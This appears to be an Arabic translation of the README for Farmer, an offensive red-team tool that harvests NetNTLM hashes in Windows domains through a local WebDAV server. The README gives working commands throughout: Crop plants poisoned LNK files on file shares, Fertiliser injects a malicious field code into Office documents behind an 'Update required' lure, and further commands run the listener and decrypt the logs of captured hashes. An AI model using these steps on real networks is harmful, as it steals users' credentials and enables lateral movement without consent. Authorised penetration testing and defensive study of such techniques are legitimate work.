mdsecactivebreach/farmerيجمع تجزئات NetNTLM في نطاقات Windows عبر خادم WebDAV محلي، مع تسميم ملفات LNK وحقن كود الحقل في مستندات Office للحركة الجانبية والتقاط بيانات الاعتماد.
المؤلف: @domchell
أردت أن أكون مزارعًا، لذا بدأت في حصاد الـ hashes
Farmer هو مشروع لجمع تجزئات NetNTLM في نطاق Windows. يحقق Farmer ذلك عن طريق إنشاء خادم WebDAV محلي يتسبب في قيام WebDAV Mini Redirector بالمصادقة من أي عملاء متصلين.
لكي ينجح Farmer، يجب أن يكون العملاء قادرين على الاتصال بخادم WebDAV المحلي. من الأمور التي قد تمنع ذلك تقسيم الشبكة و/أو جدار حماية Windows. تأكد من التحقق من هذه أولاً (تلميح Seatbelt WindowsFirewall).
يتضمن Farmer وحدة فرعية لأداة Crop، يمكن استخدام هذه الأداة لإنشاء ملفات LNK التي تبدأ اتصال WebDAV عند التصفح إلى مجلد يتم تخزين LNK فيه حيث ستحاول عرض الأيقونة المخزنة.
مفهوم الهجوم هو أنه يجب عليك استخدام Crop لتسميم مشاركات الملفات المطلوبة بملف LNK الذي يشير إلى خادم Farmer WebDAV.
على سبيل المثال:
crop.exe \\fileserver\Common crop.lnk \\workstation@8888\harvest \\workstation@8888\harvest
عندما يتصفح أي مستخدم إلى \fileserver\Common، سيحاول المستكشف استرداد الأيقونة من خادم Farmer WebDAV وبذلك يقوم بإرسال تجزئة NetNTLM الخاصة بالمستخدم.
يتضمن Farmer وحدة فرعية أخرى لأداة Fertiliser، يمكن استخدام هذه الأداة لتسميم مستندات Office (حاليًا docx فقط) برمز حقل ضار. يؤدي ذلك إلى تحليل رمز الحقل عند فتح المستند وسيؤدي إلى تسريب التجزئة إلى خادم WebDAV الذي تختاره :)
على سبيل المثال:
Fertiliser.exe \\fileserver\important.docx http://workstation:8888/foo "Update required"
سيستمع Farmer على منفذ يحدده المستخدم، لعدد من الثواني ويكتب المخرجات إلى نظام الملفات إذا لزم الأمر:
الاستخدام:
farmer.exe <port> [seconds] [output]
إذا لم يتم تحديد ثوانٍ، أو تم تعيينها على 0، سيعمل Farmer إلى أجل غير مسمى، على سبيل المثال:
farmer.exe 8888 0 c:\windows\temp\test.tmp
لتشغيل Farmer لمدة دقيقة واحدة على المنفذ 8888، قم بما يلي:
farmer.exe 8888 60
إذا كنت ترغب في كتابة سجل Farmer إلى نظام الملفات، يمكنك تشفير ملف السجل باستخدام AES باستخدام المفتاح المحدد في Config.key وضبط قيمة encrypt المنطقية على true (الافتراضي false).
يمكن فك تشفير ملف السجل باستخدام أداة HarvestCrop، على سبيل المثال:
harvestcrop.exe c:\windows\temp\test.tmp farmer